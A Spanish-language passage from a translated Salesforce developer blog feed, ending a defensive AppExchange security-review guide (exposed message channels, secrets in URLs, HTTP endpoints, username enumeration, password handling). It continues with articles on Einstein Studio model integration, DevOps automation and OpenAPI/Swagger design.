Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Traiga sus propios modelos de IA a la nube de datos ☁️

Traiga sus propios modelos de IA a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

¿Por qué traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federación de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos rápidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimización de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatización de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en función de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicación para usar Einstein Studio con AWS SageMaker

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.

Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .

Cómo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice análisis ad hoc para obtener predicciones

Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Automatización y Salesforce DevOps: una receta para el desarrollo acelerado

Automatización y Salesforce DevOps: una receta para el desarrollo acelerado

Última actualización el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatización ha surgido como una solución clave, agilizando los procesos para aumentar la productividad y liberar la innovación. Salesforce no es inmune a estos desafíos y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboración de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatización.

La combinación de automatización y Salesforce DevOps cosecha múltiples beneficios: menos errores, preparación más rápida para el mercado, una canalización de lanzamiento optimizada, menos repeticiones, calidad de código superior y mecanismos de retroalimentación más fuertes. Mejora la eficiencia operativa y la velocidad de implementación en el ecosistema de Salesforce, fomentando un desarrollo ágil.

Este artículo explora la intersección de la automatización y Salesforce DevOps, los beneficios de su sinergia y formas prácticas de aplicarla para un desarrollo más rápido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este artículo ofrece información para reforzar su enfoque de DevOps de Salesforce con la automatización.

Descripción de DevOps de Salesforce

Antes de profundizar en cómo se cruzan Salesforce DevOps y la automatización, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinación de ' Desarrollo ' y ' Operaciones ', es un conjunto de prácticas diseñadas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la unión de estos principios con las sólidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementación más fluidos y rápidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integración continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acción centrada en el cliente,
  4. Cultura de colaboración.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armonía, lo que lleva a ciclos de desarrollo más cortos, tiempo de comercialización más rápido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desafíos. Si bien es un activo, las características integrales y la capacidad de personalización de Salesforce pueden complicar el proceso de desarrollo e implementación .

Los desafíos difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los más comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de código,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del código
  • Estabilidad del sistema mientras entrega a gran velocidad

Aquí es donde la automatización viene al rescate. La automatización, en esencia, es el uso de la tecnología para realizar tareas con una intervención humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desafíos.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del código al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y código en diferentes entornos, lo que reduce los errores de implementación. Del mismo modo, la automatización de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan más valor, como el desarrollo de funciones o el diseño de sistemas.

Además, la automatización fomenta un proceso de desarrollo más ágil, lo que permite actualizaciones periódicas e incrementales en lugar de implementaciones rígidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversión de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatización para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a través de la automatización implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatización adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas áreas con más detalle:

Identificación de tareas manuales y repetitivas

El primer paso hacia la automatización es reconocer qué tareas están ralentizando su velocidad de desarrollo.

Estos típicamente incluyen:

  • Revisiones de código,
  • Pruebas,
  • Despliegue,
  • Configuración,
  • Migración de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar dónde la automatización proporcionará el mayor beneficio y tendrá un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementación de herramientas y marcos de automatización

Una vez que haya identificado las áreas que podrían beneficiarse de la automatización, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatización integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser más adecuadas para tareas complejas, como Salesforce DX para la gestión del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integración y entrega continuas. Al seleccionar estas herramientas, asegúrese de que se alineen con las habilidades de su equipo y los requisitos específicos de su entorno de Salesforce.

Optimización de procesos para mejorar la eficiencia

La automatización no se trata solo de herramientas y tecnología. También se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y áreas de mejora.

Por ejemplo:

  1. ¿Cómo se informan y rastrean los errores?
  2. ¿Con qué frecuencia se realizan las implementaciones y cómo se programan?
  3. ¿Cómo se recopilan los comentarios y cómo se actúa en consecuencia?

Simplificar estos procesos puede mejorar drásticamente la eficiencia de su equipo, permitiéndole aprovechar al máximo sus esfuerzos de automatización.

Vale la pena mencionar que los beneficios de la automatización van más allá de acelerar el desarrollo. La automatización también puede mejorar la calidad del código al detectar errores temprano a través de pruebas automatizadas. Puede reducir los errores de implementación al sincronizar el código en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse más en el desarrollo de características y el diseño del sistema, fomentando así la innovación y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas periódicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicación, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatización puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementación de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar drásticamente el proceso de desarrollo, lo que garantiza implementaciones más rápidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opción para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades específicas de su aplicación, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores prácticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores prácticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : asegúrese de probar todas las partes de su aplicación. Salesforce requiere una cobertura de código mínima del 75 %, pero apuntar a una mayor cobertura puede brindar más confianza en la confiabilidad de la aplicación.
  • Cree pruebas repetibles y autónomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una función específica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicación evolucione, sus pruebas también deberían hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisión el estado actual de su aplicación.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integración y pruebas de interfaz de usuario para validar todos los aspectos de su aplicación. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicación.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentación, explicando lo que se supone que debe hacer una parte del código. Asegúrese de que sus pruebas estén bien estructuradas y claramente escritas para que sean fáciles de entender para los demás.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporación de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas rápidamente.

Integración e implementación continuas con automatización

La integración continua y la implementación continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD está diseñado para reducir errores y acelerar el desarrollo a través de la integración continua de código y procesos de implementación automatizados y consistentes.

En el contexto de Salesforce, CI fusiona periódicamente los cambios de código en un repositorio compartido, a menudo varias veces al día. Cada integración se verifica automáticamente mediante la creación de la aplicación y la ejecución de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el código existente y no introduzcan errores.

Por otro lado, CD implementa automáticamente esos cambios en la producción, lo que garantiza que las nuevas características, configuraciones y mejoras lleguen a los usuarios finales lo más rápido posible. En Salesforce, CD puede implicar la implementación de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producción.

La automatización es clave para lograr procesos impecables de CI/CD de Salesforce. A través de la automatización, puede optimizar y estandarizar los pasos involucrados en:

  • Creación, prueba e implementación de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatización del proceso de compilación garantiza que los cambios en el código se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo código. La automatización del proceso de implementación ayuda a sincronizar el código y los cambios de configuración en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versión más reciente y precisa de la aplicación.

Control de versiones y automatización de la gestión de cambios

En el desarrollo de Salesforce, el control de versiones y la gestión de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicación.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de código. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el código de varios desarrolladores al mismo tiempo.

La gestión de cambios se refiere a la gestión y el seguimiento de los cambios del sistema, incluidos los cambios de configuración, las modificaciones de código y las implementaciones de nuevas funciones.

La automatización de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integración de código más fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gestión de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisión, mejorando la responsabilidad y facilitando el diagnóstico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gestión de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del código, lo que ayuda a mantener la integridad del código.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementación de cambios en diferentes entornos para la gestión de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera más efectiva y mantener la estabilidad de su aplicación.

Automatización de la supervisión y el tratamiento de errores

En el ámbito vertiginoso del desarrollo de Salesforce, el papel de la automatización se extiende más allá de la creación, prueba e implementación. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicación y corregir rápidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo esté al tanto de cualquier problema al instante, lo que permite una respuesta rápida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementación de estas herramientas de automatización en Salesforce DevOps implica el uso estratégico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditoría de aplicaciones de su organización, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle automáticamente sobre errores o excepciones.

Conclusión

La automatización combinada con las prácticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el éxito en el vertiginoso panorama digital actual.

Para implementar la automatización en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podrían automatizarse. Luego, implemente herramientas adecuadas para tareas como integración continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementación de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopción de la automatización en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce continúa evolucionando, el papel de la automatización crecerá aún más, dando forma al futuro del desarrollo de Salesforce.

Este artículo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el diseño, el comercio electrónico, el marketing digital y el espíritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un interés particular en el diseño gráfico, el SEO y las redes sociales.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Diseñe una API de Swagger con código para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integración de una API externa con su organización de Salesforce puede ser una tarea sencilla que no requiere código si utilizaCredenciales con nombre y Servicios externos . Deberá crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuración. La clave aquí es proporcionar una especificación OpenAPI para la API. Si la API no tiene una, puede diseñarla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el código de código abierto.

En esta publicación, le presentaremos la especificación OpenAPI y Swagger, discutiremos los elementos principales de la especificación y lo guiaremos a través del diseño e implementación de una API con código. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificación para diseñar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, métodos de autenticación y más. Las especificaciones de OpenAPI están escritas en formatos YAML o JSON, ambos fáciles de leer y escribir. Esta especificación es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opción popular para diseñar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deberá especificarse con OpenAPI. Además, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicación, la versión actual de la especificación OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayoría de código abierto ) para implementar la especificación OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gráfica para comprender y probar las API, y Swagger Codegen, que genera código SDK de cliente y apéndices de servidor a partir de una especificación OpenAPI.

La especificación OpenAPI v2 también se conoce como Swagger, pero su nombre cambió cuando se convirtió en parte de la iniciativa OpenAPI en 2016.

Estructura básica de la especificación OpenAPI

La especificación OpenAPI está organizada en las siguientes secciones clave:

API abierta Define el documento raíz y combina la lista de recursos y la declaración de la API. Requerido
Información Proporciona metadatos sobre la API, como el título, la descripción, los términos del servicio, la información de contacto, etc. Obligatorio
Servidores Especifica una o más URL base para su API, como producción o preparación.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un método HTTP con los detalles de la operación.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operación.
